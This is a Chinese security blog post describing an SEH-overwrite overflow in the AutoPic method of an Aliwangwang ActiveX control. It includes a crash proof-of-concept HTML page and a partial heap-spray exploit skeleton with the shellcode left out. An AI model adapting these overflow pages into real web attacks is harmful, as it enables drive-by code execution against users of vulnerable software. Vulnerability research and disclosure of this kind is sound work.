探索黑客技术攻防,实战研究与安全创新

导航菜单

揭秘阿里旺旺 ActiveX控件远程溢出

发现阿里旺旺的这个漏洞已经有好长一段时间了,这期间,我一直忙于其它事情,所以也就忘了将这个漏洞整理出来与大家一起分享。这不,最近有些空闲,连忙将自己发现的漏洞全部整理一下。这一次,给大家带来的这个漏洞可以说是一个重磅级别的安全漏洞。众所周知,阿里旺旺这个软件在国内的使用几乎可以说是“人手必备”。

国内现在最大的网上交易平台—淘宝网,它最重要的交易工具之一就是阿里旺旺。为此,阿里集团也是为这些软件不停地丰富其功能,加强其安全度。更新后的阿里旺旺被区分成买家专用版和卖家专用版,目的是为了更好地服务与网上交易的买卖双方。在阿里旺旺功能丰富的同时,其安全功能也在提高,例如阿里旺旺自带的网址安全鉴别功能。可是,这些提高似乎还是有一些遗憾,关于这些方面的安全问题我将在以后的文章中进行讨论,漏洞多多啊。今天,我们将集中精力看一看阿里旺旺一个致命的安全漏洞—ActiveX控件远程溢出  0day。

ActiveX控件远程溢出   0day一向是网络上危害最大的安全漏洞之一,因为这一类的安全漏洞往往可以被制造成网页木马程序,从而借助一个网页文件散播木马程序,影响和攻击范围很大,更何况这次出现问题的软件竟然是著名的阿里旺旺。

现在,在你自己的系统中安装上最新的阿里旺旺,我这里选择的是买家版本。安装完毕后,你可以使用任意一个可以查看系统中ActiveX控件信息的工具来查看一下阿里旺旺向我们的系统注册了哪些 ActiveX控件。总体来说,阿里旺旺注册了两个  ActiveX控件,如图 1所示。

QQ截图20160908150848.png

从图 1中我们看出,阿里旺旺注册的两个  ActiveX控件分别是 ImageMan.dll和  ImageMa2.dll。这两个 ActiveX控件的外部接口看起来似乎一模一样,只不过  ImageMa2.dll多了一个“xmlParam”这个外部接口。

通过测试,我们发现 ImageMan.dll这个  ActiveX控件注册的外部接口“AutoPic”出现了安全漏洞,而同样的外部接口在  ImageMa2.dll中虽然也出现了问题,但是却只能造成浏览器发生崩溃,而不是执行任意代码。简单猜测一下,估计 ImageMa2.dll是   ImageMan.dll的升级,但是不知道阿里旺旺公司为何不去除掉 ImageMan.dll呢?现在,让我们新建一个记事本文件,将以下代码键入其中:

<object

classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF"

name="evil" ></object>

<script>

var a=Array(2000);//过程的变量 a,用它来触发溢出漏洞

evil.AutoPic(a,"a");//这里调用被测试外部接口

</script>


保存上述文件为 poc.htm,将该网页文件放置到  Web服务目录当中,然后开启浏览器访问该网页文件,你会发现浏览器在打开该网页文件的一瞬间竟然崩溃了!

用 Ollydbg程序挂接  IE进程,再次访问  poc.htm文件,你会发现Ollydbg监视到了一个错误,如图  3所示。

QQ截图20160908150959.png

这样的画面是我们最高兴的,因为这代表着被测试的 ActiveX控件发生了严重的溢出漏洞,并且该漏洞可以被我们所控制。图中“2C”所代表的是符号“,”的十六进制  ASCII码,这个数值来自于我们poc.htm网页中的变量  a。这意味着通过更改 a变量的值,我们可以控制浏览器在发生错误后,跳转到任意内存地址上。如果我们将任意内存地址中存入 shellcode,那么我们就可以控制浏览器来执行任意代码了。

一个严重的溢出漏洞就这样被我们轻而易举地发现了,过程可谓简单。阿里旺旺这个漏洞主要是由于过程的变量   a覆盖了内存中的SEH链,当程序发生错误的时候,Windows系统利用   SEH链来处理错误,于是就会跳转到变量 a所代表的内存地址上去。

要想利用这个漏洞,我们需要注意一点,由于外部接口“AutoPic”的第一个参数代表的是图片文件路径名,“AutoPic”的原型为:

Sub AutoPic (

ByVal szFileName    As String ,

ByRef szOut    As String

)


所以变量 a的取值必须符合  Windows系统对文件路径名的要求。

为此,Exploit的攻击代码可以写成下面这个样子:

<object

classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF"

name="evil" ></object>

<script>

var heapSprayToAddress = 0x20202020; //开始进行 heapSpray shellcode

的内存地址

//heapSpray shellcode的代码这里省略

var

a="!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";


//变量 a赋值为可视字符,且符合  Windows系统对文件名称的要求

a=a+"1111"+"

";

el.AutoPic(a,"a");

</scrpt>


本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐